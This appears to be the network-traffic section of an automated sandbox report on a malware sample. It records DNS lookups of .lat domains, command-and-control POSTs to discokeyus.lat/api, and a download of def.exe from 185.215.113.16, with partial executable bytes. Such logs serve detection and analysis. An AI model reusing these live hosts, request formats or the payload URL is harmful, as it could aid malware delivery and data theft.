Dec 20, 2024 16:05:13.117237091 CET	192.168.2.7	1.1.1.1	0xe14c	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:13.260567904 CET	192.168.2.7	1.1.1.1	0x4f6d	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:13.405071020 CET	192.168.2.7	1.1.1.1	0xe7c6	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:52.953699112 CET	192.168.2.7	1.1.1.1	0x7c92	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:52.954087019 CET	192.168.2.7	1.1.1.1	0xc488	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 16:05:56.272408009 CET	192.168.2.7	1.1.1.1	0xdebb	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:56.272581100 CET	192.168.2.7	1.1.1.1	0x9f72	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 20, 2024 16:05:59.873078108 CET	192.168.2.7	1.1.1.1	0x352a	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:59.873294115 CET	192.168.2.7	1.1.1.1	0x5aba	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 20, 2024 16:06:08.053177118 CET	192.168.2.7	1.1.1.1	0x2644	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:06:08.053826094 CET	192.168.2.7	1.1.1.1	0xef7a	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:05:13.254925013 CET	1.1.1.1	192.168.2.7	0xe14c	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:13.401175022 CET	1.1.1.1	192.168.2.7	0x4f6d	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:13.542306900 CET	1.1.1.1	192.168.2.7	0xe7c6	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:13.542306900 CET	1.1.1.1	192.168.2.7	0xe7c6	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:53.091284037 CET	1.1.1.1	192.168.2.7	0xc488	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 16:05:53.094831944 CET	1.1.1.1	192.168.2.7	0x7c92	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:56.585511923 CET	1.1.1.1	192.168.2.7	0xfa90	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.668950081 CET	1.1.1.1	192.168.2.7	0x9f72	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.668950081 CET	1.1.1.1	192.168.2.7	0x9f72	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.687005997 CET	1.1.1.1	192.168.2.7	0x7202	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.687005997 CET	1.1.1.1	192.168.2.7	0x7202	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.687005997 CET	1.1.1.1	192.168.2.7	0x7202	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:56.821595907 CET	1.1.1.1	192.168.2.7	0xdebb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.821595907 CET	1.1.1.1	192.168.2.7	0xdebb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.821595907 CET	1.1.1.1	192.168.2.7	0xdebb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:56.821595907 CET	1.1.1.1	192.168.2.7	0xdebb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:05:59.410749912 CET	1.1.1.1	192.168.2.7	0xf9bf	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:59.506566048 CET	1.1.1.1	192.168.2.7	0x1285	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:59.506566048 CET	1.1.1.1	192.168.2.7	0x1285	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:05:59.506566048 CET	1.1.1.1	192.168.2.7	0x1285	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:06:00.010595083 CET	1.1.1.1	192.168.2.7	0x5aba	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:00.010595083 CET	1.1.1.1	192.168.2.7	0x5aba	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:00.105926037 CET	1.1.1.1	192.168.2.7	0x352a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:00.105926037 CET	1.1.1.1	192.168.2.7	0x352a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:00.105926037 CET	1.1.1.1	192.168.2.7	0x352a	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:00.105926037 CET	1.1.1.1	192.168.2.7	0x352a	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:06:08.346999884 CET	1.1.1.1	192.168.2.7	0xef7a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:08.452677965 CET	1.1.1.1	192.168.2.7	0x2644	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:14.829637051 CET	1.1.1.1	192.168.2.7	0x94ea	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:15.055677891 CET	1.1.1.1	192.168.2.7	0x93df	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:21.496975899 CET	1.1.1.1	192.168.2.7	0x49bd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:06:21.498061895 CET	1.1.1.1	192.168.2.7	0x74c6	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49757	185.215.113.16	80	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:05:35.777035952 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:05:37.125009060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:05:36 GMT Content-Type: application/octet-stream Content-Length: 2790400 Last-Modified: Fri, 20 Dec 2024 14:40:36 GMT Connection: keep-alive ETag: "676581e4-2a9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d+`Ui`D @ @ @.rsrcD``@.idata f@hbdyruff *h@jiwaszqf n@.taggant@"r*@
Dec 20, 2024 16:05:37.125179052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125194073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125364065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125380993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125410080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125422955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:05:37.125435114 CET	1236	IN	Data Raw: 89 2a 3b 0e 5e 0c 5e ee 4d 0b 44 0e a6 1c 44 0e 80 2a 40 0e 5e 0c 5e 10 a6 0e 44 0e 84 2c 5a 0e 5e 1f 54 0b 5e 6d 44 0e 5e 0f 44 0e 87 2a 2d 0e 5e 08 c6 e1 5d 12 3a 14 81 1c 38 f3 c4 0b 3c 64 8c 09 15 e6 5d 12 3a bc 78 12 44 be a5 19 44 0e 80 46 Data Ascii: ;^^MDD@^^D,Z^T^mD^D-^]:8<d]:xDDFWD26X2DEC?^^Dj^\^><YD(D^T^rD^D-^]:8<d]:VDDF\D26X2DEC?^^D*@^^uZ8
Dec 20, 2024 16:05:37.125452995 CET	1236	IN	Data Raw: 85 0c 44 ca 83 ec 39 10 5e 01 3c 38 7f 0c 44 98 81 04 3b 10 5e 6d 3e 38 7f 0c 44 54 81 04 3b 10 5e 65 3b 3c 81 08 44 90 81 be 39 10 5e 1c 39 14 5e 0c 44 01 7f 04 3b 10 5e 71 3d 38 7f 0c 44 3a 84 04 3b 10 5e c5 39 38 7f 0c 44 d6 59 39 3c 10 5e 6e Data Ascii: D9^<8D;^m>8DT;^e;<D9^9^D;^q=8D:;^98DY9<^n<8DD^x<^DYD^?8D^D^D^DW"DP:]D^C^I=0MD^D^"D*4<]D^C^:^qD^DWDD]%D]C^=^qD^DWDgD]D]C^@^qD]DWDWD
Dec 20, 2024 16:05:37.125472069 CET	1236	IN	Data Raw: 5e 79 44 6f 80 22 44 8d 57 ab 39 10 5e 99 42 6f 80 18 44 55 57 ab 39 10 5e 89 44 6f 80 0c 44 75 57 ab 39 0d 5e d9 42 fd 7e 29 44 25 57 47 39 fa 5d f1 42 c0 7e 40 44 7d 57 2e 3a cd 5d c1 42 62 84 4b 44 35 57 47 39 d3 5d c1 42 1a 83 61 44 3d 57 e1 Data Ascii: ^yDo"DW9^BoDUW9^DoDuW9^B~)D%WG9]B~@D}W.:]BbKD5WG9]BaD=W=]BnDEW9]BDEW<WCDmW9^D^D^&DWD^B^DfWD]B^2DlWD]B^*DWD]B^BD}WD]B^VDoWD]B^NDzWD]B^bDoWD]B^ZD@WD]B^rDNWD
Dec 20, 2024 16:05:37.244854927 CET	1236	IN	Data Raw: ca 63 00 d5 c3 59 25 cc cc 63 f0 a6 98 63 f6 cf be 4b 44 db c2 60 ee d4 98 4d 25 dd b2 4d f2 a4 bc 4f f5 d7 c3 49 fd 0d c9 4f 25 d9 96 64 03 cf c2 60 25 da cc 4f f9 0d c9 4d f2 9f be 4f ff a6 c2 60 f2 d6 c7 73 01 dc be 5e fb ca 96 66 44 db c2 60 Data Ascii: cY%ccKD`M%MOIO%d`%OMO`s^fD`M%`dQMO_NdO`]_IO`]_N\sbD`M%`s\]_ILs^NMMOO_D`M%f%

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:14 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 15:05:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 15:05:15 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o64vscclp2gji766nanl9d1udt; expires=Tue, 15 Apr 2025 08:51:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9xdazC4bjoQ%2BSkGpsmP3MOuNrPlfWIwHktqaU%2F5wMOdWLp3SJJwoGnfZDRpVJt1Ta8OnbgHFs20uG0YHHj008Mq1Y8TzAUvOyispIfwHaEvOMDYKwTz1VYvV9m7YzrWSBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50878d1ad41780-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1678&rtt_var=640&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1696687&cwnd=171&unsent_bytes=0&cid=be1187372c84aa92&ts=818&x=0"
2024-12-20 15:05:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 15:05:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: discokeyus.lat
2024-12-20 15:05:16 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-20 15:05:17 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34r1it3e7bobadk7r261ef3bgc; expires=Tue, 15 Apr 2025 08:51:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5oteZJuLJroUVd8bbwQbzENRsWlfmySbD2ZCmrVluQ%2BC%2BFDPLuIMwQk3HjgaQM1F9YjBbL7MKsYJauKo1ayUhMQOcF55huaIBY6kqojywDKr4jvBvrpGBN8N5Ug7mYOKvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f508799dacbc3fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1625&rtt_var=620&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=951&delivery_rate=1749550&cwnd=178&unsent_bytes=0&cid=9121ca2b69a77131&ts=792&x=0"
2024-12-20 15:05:17 UTC	246	IN	Data Raw: 33 35 32 65 0d 0a 63 52 33 31 2f 37 6a 30 4a 70 53 6b 53 53 53 46 47 45 6d 37 36 6a 4f 5a 4a 65 6a 35 39 6d 75 48 46 63 6e 56 52 42 55 47 50 5a 30 4b 50 34 50 64 67 73 41 4b 74 74 63 73 42 72 39 73 4f 38 36 50 48 37 74 45 6a 4e 76 4d 44 65 5a 35 75 72 42 6f 4e 33 42 51 76 30 74 37 6c 4a 50 4c 6b 51 71 32 77 54 45 47 76 30 4d 79 6d 59 39 64 75 78 2f 4b 6e 4a 77 4a 35 6e 6d 72 74 43 39 36 64 6c 48 2b 47 58 47 53 6c 39 32 58 51 76 58 49 4a 45 48 67 66 53 6a 52 68 46 72 30 54 59 58 62 32 6b 6e 69 62 2b 76 76 5a 6c 68 6a 53 66 77 38 66 49 61 55 6d 6f 6b 4b 37 34 59 73 53 71 63 69 61 39 71 50 55 66 56 44 6a 4a 4b 65 41 2b 39 78 71 72 45 75 5a 57 39 62 39 52 6c 2f 6b 5a 62 58 6e 6c 62 34 77 69 4e 4b 35 6e 63 6f 6d 63 59 52 2f 46 2f 4b Data Ascii: 352ecR31/7j0JpSkSSSFGEm76jOZJej59muHFcnVRBUGPZ0KP4PdgsAKttcsBr9sO86PH7tEjNvMDeZ5urBoN3BQv0t7lJPLkQq2wTEGv0MymY9dux/KnJwJ5nmrtC96dlH+GXGSl92XQvXIJEHgfSjRhFr0TYXb2knib+vvZlhjSfw8fIaUmokK74YsSqcia9qPUfVDjJKeA+9xqrEuZW9b9Rl/kZbXnlb4wiNK5ncomcYR/F/K
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 77 39 52 61 31 33 53 36 70 6a 4e 36 64 46 6d 2f 44 44 47 4f 33 64 32 61 42 4b 36 47 49 30 72 70 66 79 6a 57 6a 31 44 37 56 59 57 62 6c 77 48 74 63 36 47 34 4b 58 68 71 56 66 67 62 64 70 43 53 33 5a 35 43 2b 63 56 72 43 4b 64 39 4d 35 6e 51 45 64 74 58 69 5a 69 41 42 50 51 33 74 50 6b 2f 4e 32 4e 54 76 30 73 2f 6b 5a 50 62 6d 30 54 6b 7a 69 42 4e 34 6d 67 67 30 49 56 63 2b 30 71 41 6c 4a 63 4a 34 6e 32 68 75 43 78 7a 61 56 4c 35 45 33 2f 58 30 35 71 52 58 4c 61 65 61 32 58 69 61 69 7a 56 6e 68 50 42 42 35 58 56 6a 55 6e 69 65 2b 76 76 5a 6e 39 68 58 50 77 59 63 4a 53 56 30 59 52 45 35 4d 41 6d 51 2f 56 38 4c 74 65 43 55 75 6c 4e 68 4a 32 58 41 4f 35 2b 72 72 41 69 4e 79 6f 66 2b 41 73 2f 7a 39 33 37 6d 30 2f 36 7a 44 78 47 70 32 56 6c 77 4d 68 57 39 77 66 Data Ascii: w9Ra13S6pjN6dFm/DDGO3d2aBK6GI0rpfyjWj1D7VYWblwHtc6G4KXhqVfgbdpCS3Z5C+cVrCKd9M5nQEdtXiZiABPQ3tPk/N2NTv0s/kZPbm0TkziBN4mgg0IVc+0qAlJcJ4n2huCxzaVL5E3/X05qRXLaea2XiaizVnhPBB5XVjUnie+vvZn9hXPwYcJSV0YRE5MAmQ/V8LteCUulNhJ2XAO5+rrAiNyof+As/z937m0/6zDxGp2VlwMhW9wf
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 4f 6b 33 35 66 63 68 62 79 51 48 76 7a 6c 38 67 35 37 51 31 48 48 31 79 43 56 42 38 54 6f 30 6c 35 45 52 2f 45 76 4b 77 39 51 45 35 48 2b 74 70 53 6c 36 5a 31 48 78 48 48 71 59 6c 64 71 57 53 66 50 43 49 45 33 6b 64 79 2f 4c 67 6c 48 7a 51 6f 75 52 6e 6b 6d 72 4e 36 79 76 5a 69 38 6b 62 75 67 59 50 61 4b 65 31 4a 68 44 34 49 59 30 43 50 34 36 4c 4e 58 49 43 62 74 4b 67 70 36 52 42 75 52 39 70 62 49 73 65 32 78 52 2f 41 46 77 6b 35 33 57 6e 6b 37 37 79 43 39 4f 37 6e 45 67 33 34 68 51 38 51 66 45 32 35 4d 52 70 53 2f 72 67 79 46 37 61 56 43 39 4a 6e 79 5a 6b 39 32 41 42 4f 6d 49 4d 67 62 67 64 6d 75 42 79 46 33 79 52 34 47 52 6b 41 6e 69 65 71 36 30 49 58 52 70 57 50 55 64 65 4a 4f 52 30 35 74 43 39 73 45 76 51 2f 56 2f 49 74 57 45 45 62 55 48 6a 59 50 55 Data Ascii: Ok35fchbyQHvzl8g57Q1HH1yCVB8To0l5ER/EvKw9QE5H+tpSl6Z1HxHHqYldqWSfPCIE3kdy/LglHzQouRnkmrN6yvZi8kbugYPaKe1JhD4IY0CP46LNXICbtKgp6RBuR9pbIse2xR/AFwk53Wnk77yC9O7nEg34hQ8QfE25MRpS/rgyF7aVC9JnyZk92ABOmIMgbgdmuByF3yR4GRkAnieq60IXRpWPUdeJOR05tC9sEvQ/V/ItWEEbUHjYPU
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 79 37 5a 69 38 6b 56 76 59 42 63 5a 6d 55 31 35 42 4d 38 63 67 6d 54 65 46 78 4c 4e 36 4f 58 50 4e 4b 6a 35 69 56 44 65 39 6c 71 4c 77 73 65 6d 34 66 73 56 4e 34 6a 39 32 43 31 6d 50 36 37 7a 74 64 39 57 78 72 78 73 5a 49 75 30 43 47 32 38 78 4a 35 6e 69 69 75 43 35 2f 61 31 44 37 48 58 6d 52 6b 4e 2b 5a 54 75 54 4f 4a 55 76 73 64 53 44 4c 69 46 7a 2f 53 34 36 54 6e 77 4f 6c 4f 65 75 77 50 6a 63 38 48 38 6f 65 63 4a 65 65 7a 4e 5a 62 75 4e 39 72 51 65 73 36 63 35 6d 45 58 2f 74 49 68 70 65 66 41 65 52 37 70 62 41 6a 66 6d 78 58 37 52 4a 37 6e 35 7a 55 6d 55 58 79 77 79 35 43 34 48 34 74 31 73 67 66 75 30 43 53 32 38 78 4a 79 6c 43 65 39 51 64 4e 4a 45 43 78 43 6a 2b 51 6b 5a 72 4f 42 50 72 46 4a 30 37 6f 66 43 4c 56 67 6c 6a 77 53 34 47 66 6d 41 44 67 63 Data Ascii: y7Zi8kVvYBcZmU15BM8cgmTeFxLN6OXPNKj5iVDe9lqLwsem4fsVN4j92C1mP67ztd9WxrxsZIu0CG28xJ5niiuC5/a1D7HXmRkN+ZTuTOJUvsdSDLiFz/S46TnwOlOeuwPjc8H8oecJeezNZbuN9rQes6c5mEX/tIhpefAeR7pbAjfmxX7RJ7n5zUmUXywy5C4H4t1sgfu0CS28xJylCe9QdNJECxCj+QkZrOBPrFJ07ofCLVgljwS4GfmADgc
2024-12-20 15:05:17 UTC	1369	IN	Data Raw: 78 64 6c 6a 32 41 58 47 61 6b 74 4b 65 54 66 66 43 4c 6b 76 68 64 69 48 59 6a 31 2f 31 54 38 72 56 31 41 37 39 4e 2f 50 33 42 32 64 2f 54 65 6b 65 58 70 71 53 6d 6f 6b 4b 37 34 59 73 53 71 63 69 61 39 43 61 56 66 5a 56 67 35 79 61 42 75 5a 6c 71 72 6f 74 5a 57 4e 51 2b 78 52 7a 6b 5a 4c 63 6c 30 48 38 79 69 78 44 37 48 55 6e 6d 63 59 52 2f 46 2f 4b 77 39 51 6e 37 6d 53 38 74 43 68 38 63 6b 53 2f 44 44 47 4f 33 64 32 61 42 4b 36 47 4b 45 33 73 66 69 76 56 69 46 58 32 52 35 69 55 6b 77 37 73 66 4c 6d 39 49 58 42 76 56 2f 51 63 65 59 57 52 31 49 52 42 35 4e 52 72 43 4b 64 39 4d 35 6e 51 45 63 31 41 6d 6f 75 58 53 39 52 68 71 4b 45 74 65 6d 67 66 34 46 31 6d 31 35 72 57 31 68 79 32 77 43 52 50 35 48 55 71 30 49 52 63 2f 6b 36 50 6d 70 49 4e 37 33 32 72 73 53 Data Ascii: xdlj2AXGaktKeTffCLkvhdiHYj1/1T8rV1A79N/P3B2d/TekeXpqSmokK74YsSqcia9CaVfZVg5yaBuZlqrotZWNQ+xRzkZLcl0H8yixD7HUnmcYR/F/Kw9Qn7mS8tCh8ckS/DDGO3d2aBK6GKE3sfivViFX2R5iUkw7sfLm9IXBvV/QceYWR1IRB5NRrCKd9M5nQEc1AmouXS9RhqKEtemgf4F1m15rW1hy2wCRP5HUq0IRc/k6PmpIN732rsS
